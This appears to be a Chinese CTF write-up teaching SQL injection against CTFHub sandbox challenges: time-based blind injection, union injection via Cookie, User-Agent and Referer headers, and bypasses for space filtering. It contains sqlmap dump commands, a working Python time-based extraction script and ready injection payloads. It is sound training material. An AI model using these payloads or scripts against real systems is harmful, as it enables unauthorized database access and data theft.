Web SQL 注入实战：盲注、联合查询及空格绕过详解

运行脚本后，我们可以确认库名为 sqli。

3. 获取表结构与数据

接下来的步骤类似，先查表数量，再查表名长度，最后查表名。对于 information_schema.tables 的查询，可以使用 COUNT(*) 或 LIMIT 偏移量。

一旦找到包含 Flag 的表（如 flag），同样需要探测其列数和列名，最后提取具体数据。

4. 自动化脚本整合

针对这类题目，可以将上述逻辑封装成一个完整的枚举脚本。脚本会依次探测表数量、表名、列名，并在发现特定表（如 flag）时自动提取内容。

sqlmap 辅助

除了手写脚本，sqlmap 也是强大的工具。以下命令可快速完成信息收集：

sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" --dbs
sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns
sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump

时间盲注

原理

当无法通过布尔值判断时，可以利用数据库执行时间的延迟来推断信息。核心是构造包含时间延迟函数的 SQL 语句，如 MySQL 的 SLEEP(n) 或 BENCHMARK()。

工作流程：

1. 构造带延迟条件的语句
2. 观察页面响应时间
3. 响应时间长表示条件为真，反之则为假

示例：

' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --

解题过程

思路与布尔盲注一致，只是判断依据变成了时间。

1. 探测库名：通过 IF(LENGTH(DATABASE()) = N, SLEEP(2), 1) 判断长度。
2. 探测表名：利用 SUBSTRING 和 SLEEP 组合，逐位猜测表名。
3. 提取数据：对目标列进行同样的时间盲注操作。

Python 脚本实现时，主要区别在于发送请求后记录响应时间，并与阈值比较。

import requests
import time
import string

URL = "http://challenge-e1c4cde8563d3b80.sandbox.ctfhub.com:10800/"
PARAM = "id"
TABLE = "flag"
COLUMN = "flag"
ROW_INDEX = 0
SLEEP_TIME = 2
THRESHOLD = 2
CHARSET = string.ascii_letters + string.digits + "{}_"

def send_payload(payload):
    start = time.time()
    try:
        r = requests.get(URL, params={PARAM: payload}, timeout=5)
    except requests.RequestException:
        return 0
    return time.time() - start

def get_char(pos):
    for ch in CHARSET:
        payload = f"1 AND IF(SUBSTRING((SELECT {COLUMN} FROM {TABLE} LIMIT {ROW_INDEX},1),{pos},1)='{ch}',SLEEP({SLEEP_TIME}),1)"
        elapsed = send_payload(payload)
        if elapsed >= THRESHOLD:
            print(f"[+] pos {pos}: {ch}")
            return ch
    return None

if __name__ == "__main__":
    data = ""
    for i in range(1, 50):
        ch = get_char(i)
        if not ch: break
        data += ch
    print(f"[+] Done: {data}")

联合查询注入（Cookie/UA/Refer）

联合注入通常用于有回显的场景。除了 URL 参数，注入点也可能出现在 Cookie、User-Agent 或 Referer 等头部。

Cookie 注入

1. 抓包分析，发现未加密的 Cookie 字段。
2. 尝试 order by 确定字段数。
3. 使用 -1 union select 1,2# 测试回显位置。
4. 结合 group_concat 获取数据库结构。

UA 与 Refer 注入

原理相同，只需修改对应的 HTTP 头。例如在 UA 头中注入：

-1 union select 1,database()#

注意部分环境可能需要 URL 编码特殊字符。

过滤空格绕过

当 SQL 语句中的空格被过滤时，有多种替代方案：

1. 注释符绕过：使用 /* */ 包裹空格。

   UNION/**/SELECT/**/1,2
   

2. 括号绕过：利用括号作为分隔符。

   SELECT(username),(password)FROM(users)
   

3. URL 编码：使用 %20 或其他编码形式。

实战案例

假设遇到空格过滤，我们可以将标准 Payload 改写：

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/

通过这种方式，依然可以顺利获取表名和列名，最终拿到 Flag。

总结

SQL 注入的核心在于理解数据库的查询机制。无论是盲注的时间差、布尔值，还是联合查询的回显，本质都是让服务器执行我们构造的 SQL 语句。掌握这些技巧，配合自动化工具，能极大提高渗透效率。在实际操作中，务必遵守法律法规，仅在授权范围内进行测试。